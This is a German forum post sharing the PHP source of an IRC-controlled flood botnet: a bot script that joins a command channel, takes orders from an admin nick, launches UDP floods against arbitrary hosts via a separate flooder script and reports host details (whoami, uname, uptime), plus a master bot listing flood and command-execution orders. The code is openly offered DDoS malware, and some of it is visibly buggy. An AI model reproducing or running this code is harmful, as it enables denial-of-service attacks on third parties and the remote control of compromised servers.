Mein aktuelles Projekt, ein irc-floodbot für server in php
ist eigentlich nur ein überungsprojekt und zum einsatz nicht besonders geeignet, weil das wohl jedem blinden server admin auffällt xD da ist ein perl bot viel bessern, aber ich hasse die syntx :-(((
hinzu kommt, dass ich teilweise schlampig gecodet habe, d.h. ziemlich verbuggt und der code ist manchmal auch nicht besonders schön zu lesen :-/

main.php und udp.php müssen beide im gleichen verzeichnis liegen und sind unbedingt nötig
masterbot.php kann auch von localhost aus gestartet werden, er floodet nicht, er informiert nur

main.php:
PHP-Code:
<?php
//coded by nexos icq: 437851
//----------------------------------CONFIG--------------------------------------//
//-----------------------------------START--------------------------------------//

$server = "ircd.hopto.org";
$port = 6667;
//$serverpasswd = "";  //not yet implented //if no pass: leave empty

$chan = "yourchan";
$chanpass = ""; //if no pass: leave emtpy 

$botid = rand(1000000,9999999); //shouldnt be edited
$nickprefix = "nbot|";
$nick = $nickprefix.$botid."\n";
$user = "USER blabla owning.com XY :XY bot\n";

$cmdprefix = "*";
$admin = "nexos"; //bot is only accepting cmds from admin

 

//-----------------------------------END----------------------------------------//
//----------------------------------CONFIG--------------------------------------//


//-----------------------------------MISC---------------------------------------//

  // Prevent PHP from stopping the script after 30 sec (if safe mode off)
set_time_limit(0);
  
//---------------------------------CONNECTION-----------------------------------//

while (true)
{
    
$socket = fsockopen($server, $port);

 while ( !$socket )
 {
     Sleep(30);
      $socket = fsockopen($server, $port);
 }


  $nick = "NICK ".$nick;
  fputs($socket, $user);
  fputs($socket, $nick);

  usleep(300);

  fputs($socket,"JOIN $chan $chanpass\n");


  while(true) 
  {

    while($data = fgets($socket, 512)) 
      {

        echo nl2br($data);
        flush();

        $ex = explode(' ', $data);
        
        if($ex[0] == "PING")
          {
           fputs($socket, "PONG ".$ex[1]."\n");
          }

        $command = str_replace(array(chr(10), chr(13)), '', $ex[3]);
        $sendernick = explode('!', substr($data, 1 , strlen($$data)-2));            

        
      if ( $sendernick[0] == $admin )
        {
//---------------------------------FUNCTIONS------------------------------------//

   switch ( $command ) { 
          
//------------------------------------UDP---------------------------------------//

          case ":".$cmdprefix."udp":

            $udpsocket = fsockopen("udp://$ex[4]", $ex[5], $errno, $errstr);
             
            if (!$udpsocket) 
                {
                 fputs($socket, "PRIVMSG ".$chan." :couldn't connect\n");
                  
                     fclose($udpsocket);        
                }
                
                else
                 {
               fclose($udpsocket);

            system("php udp.php ".$ex[4]." ".$ex[5]." ".$ex[6]);
                 }
                 
               break;

//-------------------------------------HTTP------------------------------------//

          case ":".$cmdprefix."http": 

               break;

//----------------------------------BENCHMARK--------------------------------------//

         case ":".$cmdprefix."benchmark":

            $time_startbench = time(true);
            $time_differencebench = 0;

            $secondsbench = 3;

            $udpsocketbench = fsockopen("udp://google.com", 80, $errno, $errstr);
             
            if (!$udpsocketbench) 
                {
                 fputs($socket, "PRIVMSG ".$chan." :couldn't connect\n");
                }
             else
             {
             $i = 0;
             
                while ( $time_differencebench <= $secondsbench ) 
                  {
                   $crap = rand(10000,100000);
                   fwrite($udpsocket, $crap);
                        $time_nowbench = time(true);
                        $time_differencebench = $time_nowbench - $time_startbench;
                   $i++;
                  }
                  
                $i = round ( $i / 3, 0 );

            fputs($socket, "PRIVMSG ".$chan." :benchmark result: $i pakets per second\n");
             }
             
            fclose($udpsocket);
            
            break;
            
//--------------------------------UPTIME-----------------------------------------//

          case ":".$cmdprefix."uptime":
           
            fputs($socket, "PRIVMSG ".$chan." :".system("uptime")."\n");
            
            break; 

//---------------------------------WHOAMI---------------------------------------//

          case ":".$cmdprefix."whoami":
          
            fputs($socket, "PRIVMSG ".$chan." :".system("whoami")."\n");
          
            break;
//----------------------------------UNAME--------------------------------------//

         case ":".$cmdprefix."uname":
         
            fputs($socket, "PRIVMSG ".$chan." :".system("uname -a")."\n");
            
            break;

//--------------------------------QUIT----------------------------------------//

         case ":".$cmdprefix."quit":
           
             die();
           
            break;
            
//---------------------------------QUITID-------------------------------------//


         case ":".$cmdprefix."quitid":
           
             if ( $ex[4] == $botid )
                          {die();}
           
            break;
           
//---------------------------------QUITID-------------------------------------//

         case ":".$cmdprefix."quitbot":
        
                          die();
           
            break;
//---------------------------------------CMD------------------------------------//

         case ":".$cmdprefix."cmd":
           
            fputs($socket, "PRIVMSG ".$chan." : not ready\n");
           
             break;
        
//------------------------------------------------------------------------------//
//------------------------------------------------------------------------------//

         }
       }
     }
  usleep(10);
  }
}
?>
udp.php
PHP-Code:
<?php
//coded by nexos icq: 437851
       $arguments = $_SERVER['argv'];
       
            $time_start = time(true);
            $time_later;
            $time_difference;

            $target = $arguments[1];
            $port = $arguments[2];
            $seconds = $arguments[3];

            $udpsocket = fsockopen("udp://$target", $port, $errno, $errstr);
             
            if (!$udpsocket) 
                {
                 die();
                }
             else
             {
                while ( $time_difference <= $seconds ) 
                  {
                   $crap = rand(10000,100000).rand(10000,100000).rand(10000,100000).rand(10000,100000).rand(10000,100000).rand(10000,100000);
                   fwrite($udpsocket, $crap);
                        $time_now = time(true);
                        $time_difference = $time_now - $time_start;
                  }
             }
            fclose($udpsocket);
?>
masterbot.php:

PHP-Code:
<?php
//coded by nexos icq: 437851
//----------------------------------CONFIG--------------------------------------//
//-----------------------------------START--------------------------------------//
//MASTERBOT

$server = "ircd.hopto.org";
$port = 6667;
//$serverpasswd = "";  //not yet implented //if no pass: leave empty

$chan = "#yourchan";
$chanpass = "l"; //if no pass: leave emtpy 

$botid = rand(100,999); //shouldnt be edited
$nickprefix = "nbot";
$nick = $nickprefix."|master|".$botid."\n";
$user = "USER blabla owning.com XY :XY bot\n";

$cmdprefix = "*";
$admin = "nexos"; //bot is only accepting cmds from admin

 

//-----------------------------------END----------------------------------------//
//----------------------------------CONFIG--------------------------------------//


//-----------------------------------MISC---------------------------------------//

  // Prevent PHP from stopping the script after 30 sec (if safe mode off)
set_time_limit(0);
  
//---------------------------------CONNECTION-----------------------------------//

while (true)
{
    
$socket = fsockopen($server, $port);

 while ( !$socket )
 {
     Sleep(30);
      $socket = fsockopen($server, $port);
 }


  $nick = "NICK ".$nick;
  fputs($socket, $user);
  fputs($socket, $nick);

  usleep(300);

  fputs($socket,"JOIN $chan $chanpass\n");


  while(true) 
  {

    while($data = fgets($socket, 512)) 
      {

        echo nl2br($data);
        flush();

        $ex = explode(' ', $data);
        
        if($ex[0] == "PING")
          {
           fputs($socket, "PONG ".$ex[1]."\n");
          }

        $command = str_replace(array(chr(10), chr(13)), '', $ex[3]);
        $sendernick = explode('!', substr($data, 1 , strlen($$data)-2));
        
        
      if ( $sendernick[0] == $admin )
        {
//---------------------------------FUNCTIONS------------------------------------//

   switch ( $command ) { 
          
//------------------------------------UDP---------------------------------------//

          case ":".$cmdprefix."udp":

           fputs($socket, "PRIVMSG ".$chan." :'starting udp-flood\n"); 
              
            $time_start = time(true);
            $time_later;
            $time_difference;
            
            ping($ex[6],$socket,$time_start,$time_difference);
            
           fputs($socket, "PRIVMSG ".$chan." :'udp-flood finished\n"); 

               break;

//-------------------------------------HTTP------------------------------------//

          case ":".$cmdprefix."http": 

           fputs($socket, "PRIVMSG ".$chan." :'starting http-flood\n"); 
              
            $time_start = time(true);
            $time_later;
            $time_difference;
            
            ping($ex[5],$socket,$time_start,$time_difference);
            
           fputs($socket, "PRIVMSG ".$chan." :'http-flood finished\n"); 
              
               break;

//----------------------------------BENCHMARK--------------------------------------//

         case ":".$cmdprefix."benchmark":

                 fputs($socket, "PRIVMSG ".$chan." :'benchmark started\n");
                 Sleep(3);
                 fputs($socket, "PRIVMSG ".$chan." :'benchmark finished\n");
            
            break;

//--------------------------------QUIT----------------------------------------//

         case ":".$cmdprefix."quit":
           
             die();
           
            break;
            
//-------------------------------QUITMASTER-----------------------------------//


         case ":".$cmdprefix."quitmaster":
           
           die();
           
            break;
            
//-------------------------------QUITID---------------------------------------//


         case ":".$cmdprefix."quitid":
           
             if ( $ex[4] == $botid )
                          {die();}
           
            break;
//------------------------------------INFO------------------------------------//

         case ":".$cmdprefix."info":
           
            fputs($socket, "PRIVMSG ".$chan." :Nbot by Nexos\n");
               usleep(800);
            fputs($socket, "PRIVMSG ".$chan." :-------------------------\n");
               usleep(800);
            fputs($socket, "PRIVMSG ".$chan." :=========Commands========\n");
               usleep(800);
            fputs($socket, "PRIVMSG ".$chan." :-----------flood---------\n");
               usleep(800);
            fputs($socket, "PRIVMSG ".$chan." : *http [url] [time]  -traffic flood, time in seconds\n");
               usleep(800);
            fputs($socket, "PRIVMSG ".$chan." : *udp [ip/host] [port] [time]  -send udp pakets, time in seconds\n");
               usleep(800);
            fputs($socket, "PRIVMSG ".$chan." :------------misc---------\n");
               usleep(800);
            fputs($socket, "PRIVMSG ".$chan." : *quit  -all bots quit\n");
               usleep(800);
            fputs($socket, "PRIVMSG ".$chan." : *quitmaster  -master-bots quit\n");
               usleep(800);
            fputs($socket, "PRIVMSG ".$chan." : *quitbot  -all normal bots quit\n");
               usleep(800);
            fputs($socket, "PRIVMSG ".$chan." : *quitid [id]  -only [id] quits\n");
               usleep(800);
            fputs($socket, "PRIVMSG ".$chan." : *cmd [command]  -execute cmd\n");
               usleep(800);
            fputs($socket, "PRIVMSG ".$chan." : *uptime  -show server uptime\n");
               usleep(800);
            fputs($socket, "PRIVMSG ".$chan." : *whoami  -show current user\n");
               usleep(800);
            fputs($socket, "PRIVMSG ".$chan." : *uname  -server info\n");
               usleep(800);
            fputs($socket, "PRIVMSG ".$chan." : *benchmark  -do a benchmark\n");
               usleep(800);
            fputs($socket, "PRIVMSG ".$chan." : *info  -show this\n");
               usleep(800);
            fputs($socket, "PRIVMSG ".$chan." :-------------------------\n");
               usleep(500);
               
              break;
        
//------------------------------------------------------------------------------//
//------------------------------------------------------------------------------//

         }
       }
     }
  usleep(10);
  }
}


function ping($seconds,$socket,$time_start,$time_difference)
{
    
    while( $time_difference <= $seconds) 
      {
        $data = fgets($socket, 1);
        
        echo nl2br($data);
        flush();

        $ex = explode(' ', $data);
        
        if($ex[0] == "PING")
          {
           fputs($socket, "PONG ".$ex[1]."\n");
          }
       $time_now = time(true);
       $time_difference = $time_now - $time_start;
      }
      
  return true;
}
?>